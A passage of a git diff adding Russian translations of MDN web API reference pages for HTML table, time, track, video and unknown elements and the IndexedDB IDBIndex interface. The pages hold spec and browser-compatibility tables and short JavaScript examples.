Is a {{domxref("DOMString")}} containing a integer indicating how many characters must be left at the right (for left-to-right scripts; or at the left for right-to-left scripts) of the character defined by HTMLTableCellElement.ch. This property was optional and was not very well supported.
+
{{domxref("HTMLTableCellElement.noWrap")}} {{obsolete_inline}}
+
Is a {{domxref("Boolean")}} value reflecting the {{htmlattrxref("nowrap", "td")}} attribute and indicating if cell content can be broken in several lines.
+
{{domxref("HTMLTableCellElement.vAlign")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} representing an enumerated value indicating how the content of the cell must be vertically aligned. It reflects the {{htmlattrxref("valign", "td")}} attribute and can have one of the following values: "top", "middle", "bottom", or "baseline".
+
+ +

Methods

+ +

No specific method; inherits methods from its parent, {{domxref("HTMLElement")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "tabular-data.html#htmltablecellelement", "HTMLTableCellElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "tabular-data.html#htmltablecellelement", "HTMLTableCellElement")}}{{Spec2('HTML5 W3C')}}The following properties have been obsoleted: align, axis, bgColor, height, width, ch, chOff, noWrap, and vAlign.
+ The headers property is now read-only and contains a {{domxref("DOMSettableTokenList")}} rather than a mere {{domxref("DOMString")}}.
+ The colspan and rowspan properties are now unsigned long.
{{SpecName('DOM2 HTML', 'html.html#ID-82915075', 'HTMLTableCellElement')}}{{Spec2('DOM2 HTML')}}The cellIndex property is now read-only.
{{SpecName('DOM1', 'level-one-html.html#ID-82915075', 'HTMLTableCellElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
ch and chOff{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
ch and chOff{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + + +

 

diff --git a/files/ru/web/api/htmltableelement/index.html b/files/ru/web/api/htmltableelement/index.html new file mode 100644 index 0000000000..31bfff1ca8 --- /dev/null +++ b/files/ru/web/api/htmltableelement/index.html @@ -0,0 +1,200 @@ +--- +title: HTMLTableElement +slug: Web/API/HTMLTableElement +tags: + - API + - HTML DOM + - Reference + - Référence(2) + - Интерфейсы +translation_of: Web/API/HTMLTableElement +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

Объекты table описывают интерфейс HTMLTableElement, который содержит дополнительные свойства и методы (по сравнению с обычным объектным интерфейсом element которые также доступны вследствии наследования) для управления внешним видом таблиц HTML.

+ +

Свойства

+ +

Наследует свойства от родителя, {{domxref("HTMLElement")}}.

+ +
+
table.caption
+
caption возвращает заголовок таблицы.
+
table.tHead
+
tHead возвращает header таблицы.
+
table.tFoot
+
tFoot возвращает footer таблицы.
+
table.rows
+
rows возвращает строки таблицы.
+
table.tBodies
+
tBodies возвращает тела таблицы.
+
+ +
+
table.align
+
align возвращает/устанавливает выравнивание таблицы.
+
table.bgColor
+
bgColor возвращает/устанавливает цвет фона таблицы.
+
table.border
+
border возвращает/устанавливает рамку таблицы.
+
table.cellPadding
+
cellPadding возвращает/устанавливает cellpadding.
+
table.cellSpacing
+
cellSpacing возвращает/устанавливает cellspacing.
+
table.frame
+
frame определяет, какие стороны таблицы имеют рамку.
+
table.rules
+
rules определяет, какие внутренние рамки являются видимыми.
+
table.summary
+
summary возвращает/устанавливает описание таблицы.
+
table.width
+
width возвращает/устанавливает ширину таблицы.
+
+ +

Методы

+ +

Наследует методы от своего родителя, {{domxref("HTMLElement")}}.

+ +
+
table.createTHead
+
createTHead создает header таблицы.
+
table.deleteTHead
+
deleteTHead удаляет header таблицы.
+
table.createTFoot
+
createTFoot создает footer таблицы.
+
table.deleteTFoot
+
deleteTFoot удаляет footer таблицы.
+
table.createCaption
+
createCaption создает заголовок таблицы.
+
table.deleteCaption
+
deleteCaption удаляет заголовок таблицы.
+
table.insertRow
+
insertRow вставляет строку.
+
table.deleteRow
+
deleteRow удаляет строку.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "tabular-data.html#the-table-element", "HTMLTableElement")}}{{Spec2('HTML WHATWG')}}Добавляет свойство sortable и метод stopSorting().
{{SpecName('HTML5 W3C', "tabular-data.html#the-table-element", "HTMLTableElement")}}{{Spec2('HTML5 W3C')}}Добавляет метод createTBody().
+ Obsoleted xaz
{{SpecName('DOM2 HTML', 'html.html#ID-64060425', 'HTMLTableElement')}}{{Spec2('DOM2 HTML')}}Defined when caption, tHead, tFoot, insertRow(), and deleteRow() raise exceptions.
{{SpecName('DOM1', 'level-one-html.html#ID-64060425', 'HTMLTableElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
sortable property and stopSorting() method {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
createTBody(){{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
sortable property and stopSorting() method {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
createTBody(){{CompatVersionUnknown}}{{CompatGeckoMobile(25.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

См. также

+ + + +

diff --git a/files/ru/web/api/htmltableelement/insertrow/index.html b/files/ru/web/api/htmltableelement/insertrow/index.html new file mode 100644 index 0000000000..ea8d0f16aa --- /dev/null +++ b/files/ru/web/api/htmltableelement/insertrow/index.html @@ -0,0 +1,154 @@ +--- +title: HTMLTableElement.insertRow() +slug: Web/API/HTMLTableElement/insertRow +tags: + - API + - HTML DOM + - HTMLTableElement + - Method + - Reference +translation_of: Web/API/HTMLTableElement/insertRow +--- +
+
+
{{APIRef("HTML DOM")}}
+
+
+ +

Метод HTMLTableElement.insertRow()добавляет новую строку в таблицу и возвращает на неё ссылку.

+ +

Синтаксис

+ +
var row = HTMLTableElement.insertRow(optional index = -1);
+ + + +

Пример

+ +
<table id="TableA">
+<tr>
+<td>Old top row</td>
+</tr>
+</table>
+<script type="text/javascript">
+
+function addRow(tableID) {
+  // Get a reference to the table
+  var tableRef = document.getElementById(tableID);
+
+  // Insert a row in the table at row index 0
+  var newRow = tableRef.insertRow(0);
+
+  // Insert a cell in the row at index 0
+  var newCell = newRow.insertCell(0);
+
+  // Append a text node to the cell
+  var newText = document.createTextNode('New top row');
+  newCell.appendChild(newText);
+}
+
+// Call addRow() with the ID of a table
+addRow('TableA');
+
+</script>
+ +

Чтобы быть валидным HTML документом, элемент TR должен содержать хотя бы один TD элемент.

+ +

Обратите внимание, что insertRow добавляет строку непосредственно в таблицу и возвращает ссылку на эту строку. Строку не нужно добавлять отдельно, как в случае с методомdocument.createElement(), для создания нового TR элемента.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарии
{{SpecName("HTML WHATWG", "tables.html#dom-table-insertrow", "HTMLTableElement.insertRow()")}}{{Spec2("HTML WHATWG")}}
{{SpecName("DOM2 HTML", "html.html#ID-93995626", "HTMLTableElement.insertRow()")}}{{Spec2("DOM2 HTML")}}Specifies in more detail where the row is inserted.
{{SpecName("DOM1", "level-one-html.html#ID-39872903", "HTMLTableElement.insertRow()")}}{{Spec2("DOM1")}}Initial definition
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support4{{CompatVersionUnknown}}3[1]5.5104
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Начиная с Gecko 20.0 {{geckoRelease("20.0")}} аргумент index опционален и значением по умолчанию является -1 согласно спецификации HTML.

+ +

Смотри также

+ + diff --git a/files/ru/web/api/htmltimeelement/index.html b/files/ru/web/api/htmltimeelement/index.html new file mode 100644 index 0000000000..747b45af01 --- /dev/null +++ b/files/ru/web/api/htmltimeelement/index.html @@ -0,0 +1,64 @@ +--- +title: HTMLTimeElement +slug: Web/API/HTMLTimeElement +translation_of: Web/API/HTMLTimeElement +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLTimeElement даёт специальные свойства (beyond the regular {{domxref("HTMLElement")}} interface it also has available to it by inheritance) для управления {{HTMLElement("time")}} элементами.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Свойства

+ +

Наследует свойства от родителя {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLTimeElement.dateTime")}}
+
Это {{domxref("DOMString")}} который отражает {{ htmlattrxref("datetime", "time") }} HTML атрибут, содержащий понятный для машин формат даты и времени.
+
+ +

Методы

+ +

Нет определённого метода; наследует его у родителя, {{domxref("HTMLElement")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусПримечание
{{SpecName('HTML WHATWG', "#htmltimeelement", "HTMLTimeElement")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', "text-level-semantics.html#the-time-element", "HTMLTimeElement")}}{{Spec2('HTML5.1')}}Нет отличий от {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "text-level-semantics.html#the-time-element", "HTMLTimeElement")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Браузерная совместимость

+ +
+ + +

{{Compat("api.HTMLTimeElement")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmltrackelement/index.html b/files/ru/web/api/htmltrackelement/index.html new file mode 100644 index 0000000000..b3ee982144 --- /dev/null +++ b/files/ru/web/api/htmltrackelement/index.html @@ -0,0 +1,181 @@ +--- +title: HTMLTrackElement +slug: Web/API/HTMLTrackElement +translation_of: Web/API/HTMLTrackElement +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLTrackElement

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Свойства

+ +

Наследует свойства своего родителя, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLTrackElement.kind")}}
+
Тип данных {{domxref("DOMString")}}, так как отображает значение HTML-атрибута {{htmlattrxref("kind", "track")}}. Показывает, как будет использоваться текстовый трек. Возможные значения: subtitles, captions, descriptions, chapters, metadata (субтитры, подписи, описания, главы или метаданные).
+
{{domxref("HTMLTrackElement.src")}}
+
Тип данных {{domxref("DOMString")}}, так как отображает значение HTML-атрибута {{htmlattrxref("src", "track")}}. Указывает адрес файла текстового трека.
+
{{domxref("HTMLTrackElement.srclang")}}
+
Тип данных {{domxref("DOMString")}}, так как отображает значение HTML-атрибута {{htmlattrxref("srclang", "track")}}. Указывает язык текстового трека.
+
{{domxref("HTMLTrackElement.label")}}
+
Тип данных {{domxref("DOMString")}} , так как отображает значение HTML-атрибута {{htmlattrxref("label", "track")}}. Определяет видимый пользователю заголовок трека.
+
{{domxref("HTMLTrackElement.default")}}
+
Тип данных {{domxref("Boolean")}}, отображает значение HTML-атрибута {{htmlattrxref("default", "track")}}.  Указывает, что это текстовый трек по умолчанию, если пользовательские настройки не определят другой трек, как более уместный.
+
{{domxref("HTMLTrackElement.readyState")}} {{ReadOnlyInline}}
+
Возвращает значение типа unsigned short, которое показывает доступность трека для чтения: + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
КонстантаЗначениеОписание
NONE0Показывает, что метки текстового трека не получены.
LOADING1Показывает, что текстовый трек загружается, и пока не было обнаружено фатальных ошибок. Дополнительные метки могут быть добавлены в трек парсером.
LOADED2Указывает, что текстовая дорожка загружена без фатальных ошибок.
ERROR3Указывает, что текстовый трек был получен, но когда пользовательский агент попытался его использовать, произошла какая-то ошибка. Некоторые или все метки, вероятно, отсутствуют и не будут получены.
+
+
{{domxref("HTMLTrackElement.track")}} {{ReadOnlyInline}}
+
Возвращает {{Domxref("TextTrack")}} is the track element's text track data.
+
+ + + + + + + + + +
track {{ReadOnlyInline}}{{Domxref("TextTrack")}}The track element's text track data.
+ +

Методы

+ +

Нет специфичных методов; наследует методы из родительского элемента, {{domxref("HTMLElement")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-video-element.html#the-track-element", "HTMLTrackElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "embedded-content-0.html#the-track-element", "HTMLTrackElement")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("24")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
src attribute settable{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("50")}}[2][3]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("24")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
src attribute settable{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("50")}}[2][3]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] The HTMLTrackElement interface was added in Firefox 24, but was disabled by default behind the preference {{pref("media.webvtt.enabled")}}. The interface is enabled by default (along with all other WebVTT features) in Firefox 31.

+ +

[2] Until Firefox 50, the src attribute is settable, but the change does not get handled properly. Starting in Firefox 50, existing track data is properly disposed of, new track data is loaded and put into effect, and so forth.

+ +

[3] Prior to Firefox 50, text tracks would only load if the {{HTMLElement("track")}} is in a document. Starting in Firefox 50, this incorrect requirement is lifted.

+ +

See also

+ + diff --git a/files/ru/web/api/htmlunknownelement/index.html b/files/ru/web/api/htmlunknownelement/index.html new file mode 100644 index 0000000000..449017b6f7 --- /dev/null +++ b/files/ru/web/api/htmlunknownelement/index.html @@ -0,0 +1,96 @@ +--- +title: HTMLUnknownElement +slug: Web/API/HTMLUnknownElement +translation_of: Web/API/HTMLUnknownElement +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

Интерфейс HTMLUnknownElement предоставляет недопустимый HTML элемент и происходит от интерфейса {{domxref("HTMLElement")}}, но без каких либо дополнительных свойств и методов.

+ +

Свойства

+ +

Нет специфичных свойств; наследует свойства от его родителя {{domxref("HTMLElement")}}.

+ +

Методы

+ +

Нет специфичных методов; наследует методы от его потомка, {{domxref("HTMLElement")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "elements.html#htmlunknownelement", "HTMLUnknownElement")}}{{Spec2('HTML WHATWG')}}Не изменилось с {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "dom.html#htmlunknownelement", "HTMLUnknownElement")}}{{Spec2('HTML5 W3C')}}Изначальное описание.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlvideoelement/index.html b/files/ru/web/api/htmlvideoelement/index.html new file mode 100644 index 0000000000..b474d0423b --- /dev/null +++ b/files/ru/web/api/htmlvideoelement/index.html @@ -0,0 +1,192 @@ +--- +title: HTMLVideoElement +slug: Web/API/HTMLVideoElement +translation_of: Web/API/HTMLVideoElement +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

HTMLVideoElement интерфейс предоставляет специальные свойства и методы для манипулирования видео объектов. Он также наследует свойства и методы {{domxref("HTMLMediaElement")}} и {{domxref("HTMLElement")}}.

+ +

Список поддерживаемых форматов медиа варьируются из одного браузера в другой. Вы должны либо предоставить ваше видео в одном формате которые поддерживаются всеми актуальными браузерами, или предоставить множественные источники видео в достаточно разных форматах чтобы все браузеры которые вам нужны поддерживали их.

+ +

{{InheritanceDiagram(600, 140)}}

+ +

Свойства

+ +

Inherits properties from its parent, {{domxref("HTMLMediaElement")}}, and {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLVideoElement.height")}}
+
Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("height", "video")}} HTML attribute, which specifies the height of the display area, in CSS pixels.
+
{{domxref("HTMLVideoElement.poster")}}
+
Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("poster", "video")}} HTML attribute, which specifies an image to show while no video data is available.
+
{{domxref("HTMLVideoElement.videoHeight")}} {{readonlyInline}}
+
Returns an unsigned long containing the intrinsic height of the resource in CSS pixels, taking into account the dimensions, aspect ratio, clean aperture, resolution, and so forth, as defined for the format used by the resource. If the element's ready state is HAVE_NOTHING, the value is 0.
+
{{domxref("HTMLVideoElement.videoWidth")}} {{readonlyInline}}
+
Returns an unsigned long containing the intrinsic width of the resource in CSS pixels, taking into account the dimensions, aspect ratio, clean aperture, resolution, and so forth, as defined for the format used by the resource. If the element's ready state is HAVE_NOTHING, the value is 0.
+
{{domxref("HTMLVideoElement.width")}}
+
Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("width", "video")}} HTML attribute, which specifies the width of the display area, in CSS pixels.
+
+ +

Gecko-специфичные свойства

+ +
+
{{domxref("HTMLVideoElement.mozParsedFrames")}} {{readonlyInline}}{{non-standard_inline}}
+
Returns an unsigned long with the count of video frames that have been parsed from the media resource.
+
{{domxref("HTMLVideoElement.mozDecodedFrames")}} {{readonlyInline}}{{non-standard_inline}}
+
Returns an unsigned long with the count of parsed video frames that have been decoded into images.
+
{{domxref("HTMLVideoElement.mozPresentedFrames")}} {{readonlyInline}}{{non-standard_inline}}
+
Returns an unsigned long with the count of decoded frames that have been presented to the rendering pipeline for painting.
+
{{domxref("HTMLVideoElement.mozPaintedFrames")}} {{readonlyInline}}{{non-standard_inline}}
+
Returns an unsigned long with the count of presented frames which were painted on the screen.
+
{{domxref("HTMLVideoElement.mozFrameDelay")}} {{readonlyInline}}{{non-standard_inline}}
+
Returns an double with the time which the last painted video frame was late by, in seconds.
+
{{domxref("HTMLVideoElement.mozHasAudio")}} {{readonlyInline}}{{non-standard_inline}}
+
Returns a {{domxref("Boolean")}} indicating if there is some audio associated with the video.
+
+ +

Методы

+ +

Inherits methods from its parent, {{domxref("HTMLMediaElement")}}, and {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLVideoElement.getVideoPlaybackQuality()")}} {{experimental_inline}}
+
Returns a {{domxref("VideoPlaybackQuality")}} objects that contains the current playback metrics.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Source Extensions', '#idl-def-HTMLVideoElement', 'Extensions to HTMLVideoElement')}}{{Spec2("Media Source Extensions")}}Added the getVideoPlaybackQuality() method.
{{SpecName('HTML WHATWG', "the-video-element.html#the-video-element", "HTMLAreaElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}.
{{SpecName('HTML5 W3C', "embedded-content-0.html#the-video-element", "HTMLAreaElement")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Совместимость браузеров

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}9.010.50{{CompatVersionUnknown}}
mozParsedFrames mozDecodedFrames mozPresentedFrames mozPaintedFrames mozFrameDelay {{non-standard_inline}}{{CompatNo}}{{CompatGeckoDesktop("5.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
mozHasAudio {{non-standard_inline}}{{CompatNo}}{{ CompatGeckoDesktop("15.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
getVideoPlaybackQuality(){{experimental_inline}}{{CompatUnknown}}{{ CompatGeckoDesktop("25.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}9.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
mozParsedFrames mozDecodedFrames mozPresentedFrames mozPaintedFrames mozFrameDelay {{non-standard_inline}}{{CompatNo}}{{CompatGeckoMobile("5.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
mozHasAudio {{non-standard_inline}}{{CompatNo}}{{ CompatGeckoMobile("15.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
getVideoPlaybackQuality(){{experimental_inline}}{{CompatUnknown}}{{ CompatGeckoMobile("25.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Gecko implements this behind the media.mediasource.enabled preference, defaulting to false.

+ +

См.также

+ + diff --git a/files/ru/web/api/idbindex/index.html b/files/ru/web/api/idbindex/index.html new file mode 100644 index 0000000000..96a9337966 --- /dev/null +++ b/files/ru/web/api/idbindex/index.html @@ -0,0 +1,139 @@ +--- +title: IDBIndex +slug: Web/API/IDBIndex +tags: + - API + - Database + - IDBIndex + - IndexedDB + - Interface + - NeedsTranslation + - Reference + - Storage + - TopicStub +translation_of: Web/API/IDBIndex +--- +

{{APIRef("IndexedDB")}}

+ +

IDBIndex interface of the IndexedDB API provides asynchronous access to an index in a database. An index is a kind of object store for looking up records in another object store, called the referenced object store. You use this interface to retrieve data.

+ +

You can retrieve records in an object store through the primary key or by using an index. An index lets you look up records in an object store using properties of the values in the object stores records other than the primary key

+ +

The index is a persistent key-value storage where the value part of its records is the key part of a record in the referenced object store. The records in an index are automatically populated whenever records in the referenced object store are inserted, updated, or deleted. Each record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store. When the object store changes, all indexes that refers to the object store are automatically updated.

+ +

You can grab a set of keys within a range. To learn more, see {{domxref("IDBKeyRange")}}.

+ +

{{AvailableInWorkers}}

+ +

Properties

+ +
+
{{domxref("IDBIndex.isAutoLocale")}} {{readonlyInline}} {{ Non-Standard_inline() }}
+
Returns a {{domxref("Boolean")}} indicating whether the index had a locale value of auto specified upon its creation (see createIndex()'s optionalParameters.)
+
{{domxref("IDBIndex.locale")}} {{readonlyInline}} {{ Non-Standard_inline() }}
+
Returns the locale of the index (for example en-US, or pl) if it had a locale value specified upon its creation (see createIndex()'s optionalParameters.)
+
{{domxref("IDBIndex.name")}}
+
The name of this index.
+
{{domxref("IDBIndex.objectStore")}} {{readonlyInline}}
+
The name of the object store referenced by this index.
+
{{domxref("IDBIndex.keyPath")}} {{readonlyInline}}
+
The key path of this index. If null, this index is not auto-populated.
+
{{domxref("IDBIndex.multiEntry")}} {{readonlyInline}}
+
Affects how the index behaves when the result of evaluating the index's key path yields an array. If true, there is one record in the index for each item in an array of keys. If false, then there is one record for each key that is an array.
+
{{domxref("IDBIndex.unique")}} {{readonlyInline}}
+
If true, this index does not allow duplicate values for a key.
+
+ +

Methods

+ +

Inherits from: EventTarget

+ +
+
{{domxref("IDBIndex.count()")}}
+
Returns an {{domxref("IDBRequest")}} object, and in a separate thread, returns the number of records within a key range.
+
{{domxref("IDBIndex.get()")}}
+
Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, finds either the value in the referenced object store that corresponds to the given key or the first corresponding value, if key is an {{domxref("IDBKeyRange")}}.
+
{{domxref("IDBIndex.getKey()")}}
+
Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, finds either the given key or the primary key, if key is an {{domxref("IDBKeyRange")}}.
+
{{domxref("IDBIndex.getAll()")}}
+
Returns an {{domxref("IDBRequest")}} object, in a separate thread, finds all matching values in the referenced object store that correspond to the given key or are in range, if key is an {{domxref("IDBKeyRange")}}.
+
{{domxref("IDBIndex.getAllKeys()")}}
+
Returns an {{domxref("IDBRequest")}} object, in a separate thread, finds all matching keys in the referenced object store that correspond to the given key or are in range, if key is an {{domxref("IDBKeyRange")}}.
+
{{domxref("IDBIndex.openCursor()")}}
+
Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a cursor over the specified key range.
+
{{domxref("IDBIndex.openKeyCursor()")}}
+
Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a cursor over the specified key range, as arranged by this index.
+
+ +

Example

+ +

In the following example we open a transaction and an object store, then get the index lName from a simple contacts database. We then open a basic cursor on the index using {{domxref("IDBIndex.openCursor")}} — this works the same as opening a cursor directly on an ObjectStore using {{domxref("IDBObjectStore.openCursor")}} except that the returned records are sorted based on the index, not the primary key.

+ +

Finally, we iterate through each record, and insert the data into an HTML table. For a complete working example, see our IDBIndex-example demo repo (View the example live.)

+ +
function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  var objectStore = transaction.objectStore('contactsList');
+
+  var myIndex = objectStore.index('lName');
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '<td>' + cursor.value.id + '</td>'
+                           + '<td>' + cursor.value.lName + '</td>'
+                           + '<td>' + cursor.value.fName + '</td>'
+                           + '<td>' + cursor.value.jTitle + '</td>'
+                           + '<td>' + cursor.value.company + '</td>'
+                           + '<td>' + cursor.value.eMail + '</td>'
+                           + '<td>' + cursor.value.phone + '</td>'
+                           + '<td>' + cursor.value.age + '</td>';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Entries all displayed.');
+    }
+  };
+};
+ +

Specification

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#idl-def-IDBIndex', 'IDBIndex')}}{{Spec2('IndexedDB')}} 
{{SpecName("IndexedDB 2", "#index-interface", "IDBIndex")}}{{Spec2("IndexedDB 2")}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.IDBIndex")}}

+ +

See also

+ + diff --git a/files/ru/web/api/idbindex/locale/index.html b/files/ru/web/api/idbindex/locale/index.html new file mode 100644 index 0000000000..943e5a1ffe --- /dev/null +++ b/files/ru/web/api/idbindex/locale/index.html @@ -0,0 +1,76 @@ +--- +title: IDBIndex.locale +slug: Web/API/IDBIndex/locale +translation_of: Web/API/IDBIndex/locale +--- +
{{APIRef("IndexedDB")}}{{SeeCompatTable}}
+ +

The locale read-only property of the {{domxref("IDBIndex")}} interface returns the locale of the index (for example en-US, or pl) if it had a locale value specified upon its creation (see createIndex()'s optionalParameters.) Note that this property always returns the current locale being used in this index, in other words, it never returns "auto".

+ +

Syntax

+ +
var myIndex = objectStore.index('index');
+console.log(myIndex.locale);
+ +

Value

+ +

A {{domxref("DOMString")}}.

+ +

Example

+ +

In the following example we open a transaction and an object store, then get the index lName from a simple contacts database. We then open a basic cursor on the index using {{domxref("IDBIndex.openCursor")}} — this works the same as opening a cursor directly on an ObjectStore using {{domxref("IDBObjectStore.openCursor")}} except that the returned records are sorted based on the index, not the primary key.

+ +

The locale value is logged to the console.

+ +
function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+  var transaction = db.transaction(['contactsList'], 'readonly');
